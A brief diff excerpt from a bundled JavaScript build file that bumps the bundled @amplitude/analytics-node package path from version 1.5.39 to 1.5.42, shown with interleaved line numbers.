  var add, groupIdentify, identify, init, logEvent, remove, revenue, setGroup, setOptOut, track, flush;
2440
2456
  var init_esm2 = __esm({
2441
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/index.js"() {
2457
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/index.js"() {
2442
2458
  init_node_client();
2443
2459
  init_node_client();
2444
2460
  init_esm();